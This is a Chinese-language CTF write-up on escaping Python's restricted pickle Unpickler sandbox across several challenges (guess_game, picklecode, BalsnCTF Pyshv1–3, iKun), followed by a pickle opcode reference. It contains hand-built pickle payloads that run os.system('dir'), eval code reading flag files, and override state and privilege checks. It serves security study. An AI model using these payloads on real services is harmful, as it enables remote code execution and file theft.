from guess_game import game
import sys

while not game.finished():
ticket = stdin_read(length)
ticket = restricted_loads(ticket)

assert type(ticket) == Ticket

if not ticket.is_valid():
print('The number is invalid.')
game.next_game(Ticket(-1))
continue

win = game.next_game(ticket)
if win:
text = "Congratulations, you get the right number!"
else:
text = "Wrong number, better luck next time."
print(text)

if game.is_win():
text = "Game over! You win all the rounds, here is your flag %s" % flag
else:
text = "Game over! You got %d/%d." % (game.win_count, game.round_count)
print(text)

# file: RestrictedUnpickler.py 对引入的模块进行检测
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# Only allow safe classes
if "guess_game" == module[0:10] and "__" not in name:
return getattr(sys.modules[module], name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

server 端将接收到的数据进行反序列,这里与常规的 pickle.loads 不同,采用的是 Python 提供的安全措施。也就是说,导入的模块只能以 guess_name 开头,并且名称里不能含有 __。

最初的想法还是想执行命令,只是做题的话完全不需要这么折腾,先来看一下判赢规则。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# file: Game.py
from random import randint
from guess_game.Ticket import Ticket
from guess_game import max_round, number_range

class Game:
def __init__(self):
number = randint(0, number_range)
self.curr_ticket = Ticket(number)
self.round_count = 0
self.win_count = 0

def next_game(self, ticket):
win = False
if self.curr_ticket == ticket:
self.win_count += 1
win = True

number = randint(0, number_range)
self.curr_ticket = Ticket(number)
self.round_count += 1

return win

def finished(self):
return self.round_count >= max_round

def is_win(self):
return self.win_count == max_round

只要能控制住 curr_ticket,每局就能稳赢,或者直接将 win_count 设为 10,能实现吗?

先试试覆盖 win_count 和 round_count。换句话来说,就是需要在反序列化 Ticket 对象前执行:

1
2
3
from guess_game import game  # __init__.py  game = Game()
game.round_count = 10
game.win_count = 10

pickle 里并不能直接用等号赋值,但有对应的指令用来改变属性。

1
2
BUILD = b'b'   # call __setstate__ or __dict__.update()
# 具体实现在 pickle.py 的 1546 行

开始构造

1
2
3
4
5
6
7
cguess_game
game
}S'round_count'
I10
sS'win_count'
I10
sb

其中,} 是往 stack 中压入一个空 dict,s 是将键值对插入到 dict。

测试一下效果,成功。

img

到这就做完了吗?不,还有个小验证,assert type(ticket) == Ticket。

之前提到过,pickle 序列流执行完后将把栈顶的值返回,那结尾再留一个 Ticket 的对象就好了。

1
2
3
4
5
6
ticket = Ticket(6)
res = pickle.dumps(ticket) # 这里不能再用 0 号协议,否则会出现 ccopy_reg\n_reconstructor
print(res)
'''
\x80\x03cguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sb.
'''

最终 payload:

1
cguess_game\ngame\n}S"win_count"\nI10\nsS"round_count"\nI9\nsbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sb.

尝试覆盖掉 current_ticket:

1
2
3
4
5
6
cguess_game\n
game
}S'curr_ticket'
cguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sbp0
sbg0
.

这里用了一下 memo,存储了 ticket 对象,再拿出来放到栈顶。

最终 payload:

1
cguess_game\ngame\n}S'curr_ticket'\ncguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x07sbp0\nsbg0\n.

Code-Breaking 2018 picklecode

完整源码: https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))


class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)

def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,
encoding='ASCII', errors='strict').load()
except Exception as e:
return {}

这只是原题的一部分,重点关注下这个沙箱如何逃逸。先看个东西:

1
2
3
4
5
6
7
>>> getattr(globals()['__builtins__'], 'eval')
<built-in function eval>

<=>

>>> getattr(dict.get(globals(), '__builtins__'), 'eval')
<built-in function eval>

getattr 和 globals 并没有被禁,那就尝试写 pickle 吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cbuiltins
getattr
(cbuiltins
dict
S'get'
tRp100
(cbuiltins
globals
(tRS'__builtins__'
tRp101
0g100
(g101
S'eval'
tR(S'__import__("os").system("dir")'
tR.

PS:我的环境是 Python 3.7.4,反序列化时获取到的 builtins 是一个 dict,所以用了两次 get,视环境进行调整吧。这个 payload 在 Python 3.7.3 又跑不起来 :)

BalsnCTF 2019 Pyshv1

环境: https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# File: securePickle.py
import pickle, io

whitelist = []

# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)

def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

dumps = pickle.dumps


# File: server.py
import securePickle as pickle
import codecs

pickle.whitelist.append('sys')

class Pysh(object):
def __init__(self):
self.login()
self.cmds = {}

def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")

def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()

if __name__ == '__main__':
pysh = Pysh()
pysh.run()

限制了导入的模块只能是 sys,问题是这个模块也不安全呀 :)

sys.modules

This is a dictionary that maps module names to modules which have already been loaded. This can be manipulated to force reloading of modules and other tricks. However, replacing the dictionary will not necessarily work as expected and deleting essential items from the dictionary may cause Python to fail.

如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。有些库是默认被加载进来的,例如 os,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。

这里的 find_class 直接调的 pickle.py 中的方法,那就先看看它如何导入包的:

1
2
3
4
5
6
7
8
9
10
11
12
13
# pickle.Unpickler.find_class
def find_class(self, module, name):
# Subclasses may override this.
if self.proto < 3 and self.fix_imports:
if (module, name) in _compat_pickle.NAME_MAPPING:
module, name = _compat_pickle.NAME_MAPPING[(module, name)]
elif module in _compat_pickle.IMPORT_MAPPING:
module = _compat_pickle.IMPORT_MAPPING[module]
__import__(module, level=0)
if self.proto >= 4:
return _getattribute(sys.modules[module], name)[0]
else:
return getattr(sys.modules[module], name)

其中 sys.modules 为:

1
2
3
4
5
6
{	
'sys': < module 'sys'(built - in ) > ,
'builtins': < module 'builtins'(built - in ) > ,
'os': < module 'os'
from 'C:\\Users\\wywwzjj\\AppData\\Local\\Programs\\Python\\Python37\\lib\\os.py' > ,
}

那我们的目标:

1
cos\nsystem  <=> getattr(sys.modules['os'], 'system')

限制了 module 只能为 sys,那能否把 sys.modules[‘sys’]替换为sys.modules[‘os’],从而引入危险模块。

1
2
3
from sys import modules
modules['sys'] = modules['os']
from sys import system

本地实验一下,成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PS C:\Users\wywwzjj> python
Python 3.7.4 (tags/v3.7.4:e09359112e, Jul 8 2019, 20:34:20) [MSC v.1916 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from sys import modules
>>> modules['sys'] = modules['os']
>>> from sys import system
>>> system('dir')
驱动器 C 中的卷没有标签。
卷的序列号是 F497-F727

C:\Users\wywwzjj 的目录

2019/10/15 20:36 <DIR> .
2019/10/15 20:36 <DIR> ..
2019/08/22 21:02 2,750 .aggressor.prop
2019/09/16 00:09 <DIR> .anaconda
2019/04/09 13:58 <DIR> .android
2018/12/13 14:37 <DIR> .astropy
2019/10/15 20:36 18,465 .bash_history
2019/04/07 12:03 <DIR> .CLion2019.1

还有个小麻烦,modules 是个 dict,无法直接取值。继续利用 getattr(sys.modules[module], name)。

1
2
3
4
5
6
7
>>> import sys
>>> sys.modules['sys'] = sys.modules
>>> import sys
>>> dir(sys) # 成功导入 dict 对象
['__class__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values']
>>> getattr(sys, 'get') # 结合 find_class 中的 getattr
<built-in method get of dict object at 0x000002622D052688>

改写成 pickle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
csys
modules
p100
S'sys'
g100
scsys
get
(S'os'
tRp101
0S'sys'
g101
scsys
system
(S'dir'
tR.

BalsnCTF 2019 Pyshv2

环境: https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# File: securePickle.py
import pickle
import io


whitelist = []

# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module)
return getattr(module, name)


def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps



# File: server.py
import securePickle as pickle
import codecs


pickle.whitelist.append('structs')


class Pysh(object):
def __init__(self):
self.login()
self.cmds = {
'help': self.cmd_help,
'flag': self.cmd_flag,
}

def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")

def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()

def cmd_help(self):
print('Available commands: ' + ' '.join(self.cmds.keys()))

def cmd_su(self):
print("Not Implemented QAQ")
# self.user.privileged = 1

def cmd_flag(self):
print("Not Implemented QAQ")


if __name__ == '__main__':
pysh = Pysh()
pysh.run()


# File: structs.py 为空

真会玩,给你一个空模块:),先看下空模块有哪些内置方法:

1
2
3
4
5
6
7
>>> structs = __import__('structs')
>>> structs
<module 'structs' from 'C:\\Users\\wywwzjj\\structs.py'>
>>> dir(structs)
['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__']
>>> getattr(structs, '__builtins__')['eval']
<built-in function eval>

好了,问题又转变为如何获取键值,还是比较艰难。

查文档时又发现了一个东西,原来 import 可被覆盖。

import(name, globals=None, locals=None, fromlist=(), level=0)

此函数会由 import 语句发起调用。 它可以被替换 (通过导入 builtins 模块并赋值给 builtins.import) 以便修改 import 语句的语义,但是 强烈 不建议这样做,因为使用导入钩子 (参见 PEP 302) 通常更容易实现同样的目标,并且不会导致代码问题,因为许多代码都会假定所用的是默认实现。 同样也不建议直接使用 import() 而应该用 importlib.import_module()

那该覆盖成什么函数呢?最好是 import(module) 后能返回字典的函数。

只能从内置函数下手了,一个一个试吧,发现没一个能用的。

后来又想起还有一堆魔术方法没有试,又是一篇广阔的天地。

https://pyzh.readthedocs.io/en/latest/python-magic-methods-guide.html

img

这个 getattribute 恰好能符合我们的要求,真棒。

1
2
>>> getattr(structs, '__getattribute__')('__builtins__')
{'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>),...

再理下思路:(伪代码)

1
2
3
4
5
d = getattr(structs, '__builtins__')  	 # 获取到字典,先存起来
getattr(structs, '__import__') = getattr(structs, '__getattribute__') # 覆盖 __import__
setattr(structs, 'structs', d) # 创建个 structs 的属性,字典写入该属性
mo = __import__(structs) # 此时的 mo 就是我们之前的 __builtins__
getattr(mo, 'get') # 获取到 get 方法,然后就可以按照 pyshv1 的思路来了

转换为 pickle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cstructs
__getattribute__
p100
0cstructs
__dict__
S'structs'
cstructs
__builtins__ # 先添加 structs 属性
p101
sg101
S'__import__'
g100
scstructs
get
(S'eval'
tR(S'print(open("../flag").read())' # 这里已经不能 __import__('os') 了,能继续执行命令吗:)
tR.

BalsnCTF 2019 Pyshv3

环境: https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# File: securePickle.py
import pickle
import io


whitelist = []

# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)


def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps



# File: server.py
import securePickle as pickle
import codecs
import os


pickle.whitelist.append('structs')


class Pysh(object):
def __init__(self):
self.key = os.urandom(100)
self.login()
self.cmds = {
'help': self.cmd_help,
'whoami': self.cmd_whoami,
'su': self.cmd_su,
'flag': self.cmd_flag,
}

def login(self):
with open('../flag.txt', 'rb') as f:
flag = f.read()
flag = bytes(a ^ b for a, b in zip(self.key, flag))
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
print('Login as ' + user.name + ' - ' + user.group)
user.privileged = False
user.flag = flag
self.user = user

def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()

def cmd_help(self):
print('Available commands: ' + ' '.join(self.cmds.keys()))

def cmd_whoami(self):
print(self.user.name, self.user.group)

def cmd_su(self):
print("Not Implemented QAQ")
# self.user.privileged = 1

def cmd_flag(self):
if not self.user.privileged:
print('flag: Permission denied')
else:
print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))


if __name__ == '__main__':
pysh = Pysh()
pysh.run()


# File: structs.py
class User(object):
def __init__(self, name, group):
self.name = name
self.group = group
self.isadmin = 0
self.prompt = ''

RestrictedUnpickler 模块和 Pyshv1 是一样的,之前只有名字的函数在这里基本都实现了。

注意到,在 cmd_flag() 中,self.user.privileged 只要就符合条件将输出 flag。

1
2
user = pickle.loads(user)
user.privileged = False # 这个有点猛,后面还有赋值,没法直接覆盖了

魔术方法列表中可以看到,给属性赋值时,用的是 setattr(self, name),能不能把这个干掉?

看来不太行,把这个干了,flag 自然也赋值不上了。能不能保留 privileged ,同时又不干扰 flag?

继续在魔术方法里寻找,突然看到了一个创建描述符对象里有 set 方法,会不会有点关系呢。

img

属性访问的默认行为是从一个对象的字典中获取、设置或删除属性。例如,a.x 的查找顺序会从 a.dict[‘x’] 开始,然后是 type(a).dict[‘x’],接下来依次查找 type(a) 的基类,不包括元类 如果找到的值是定义了某个描述器方法的对象,则 Python 可能会重载默认行为并转而发起调用描述器方法。这具体发生在优先级链的哪个环节则要根据所定义的描述器方法及其被调用的方式来决定。

关于描述符的讲解还可以看下这文章:https://foofish.net/what-is-descriptor-in-python.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class RevealAccess(object):
"""A data descriptor that sets and returns values
normally and prints a message logging their access.
"""

def __init__(self, initval=None, name='var'):
self.val = initval
self.name = name

def __get__(self, obj, objtype):
print('Retrieving', self.name)
return self.val

def __set__(self, obj, val):
print('Updating', self.name)
self.val = val

>>> class MyClass(object):
... x = RevealAccess(10, 'var "x"')
... y = 5
...
>>> m = MyClass()
>>> m.x
Retrieving var "x"
10
>>> m.x = 20
Updating var "x"
>>> m.x
Retrieving var "x"
20
>>> m.y
5

可清楚的看到,对属性 x 的操作都被 “hook” 住了,而 y 没有受影响。这就有个小问题,反序列化时没有额外的自定义类引入了,比如这里的 RevealAccess,怎么给指定属性进行代理呢?那就把自己作为一个描述符:)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class MyClass(object):
def __set__(self, obj, val):
pass

y = 5

m = MyClass()
MyClass.x = m
print(m.x)
m.y = 6
print(m.y)
m.x = 3
print(m.x)

'''
<__main__.MyClass object at 0x000001CBA8A93C48>
6
<__main__.MyClass object at 0x000001CBA8A93C48>
'''

把这个过程转为 pickle:

1
2
3
4
5
6
7
8
9
10
11
12
13
cstructs
User
p100
(I111
I222
tRp101
g100
(N}S'__set__'
g100
sS'privileged'
g101
stbg101
.

看一下结果:

img

CISNC2019 iKun

image-20200316124155120

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import urllib

class catflag(object):
def __reduce__(self):
#return (eval, ("ls /",))
return (eval, ("open('/flag.txt','r').read()",))


payload= pickle.dumps(catflag())
print(payload)
print (urllib.quote(payload))

Python Opcode

pickle.py–>opcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# Pickle opcodes.  See pickletools.py for extensive docs.  The listing
# here is in kind-of alphabetical order of 1-character pickle code.
# pickletools groups them by purpose.

MARK = b'(' # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding

TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from < 256 bytes
LONG4 = b'\x8b' # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes

# Protocol 4
SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame


PDF

http://bendawang.site/2018/03/01/关于Python-sec的一些总结/

https://www.codercto.com/a/81823.html

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势

https://www.anquanke.com/post/id/188981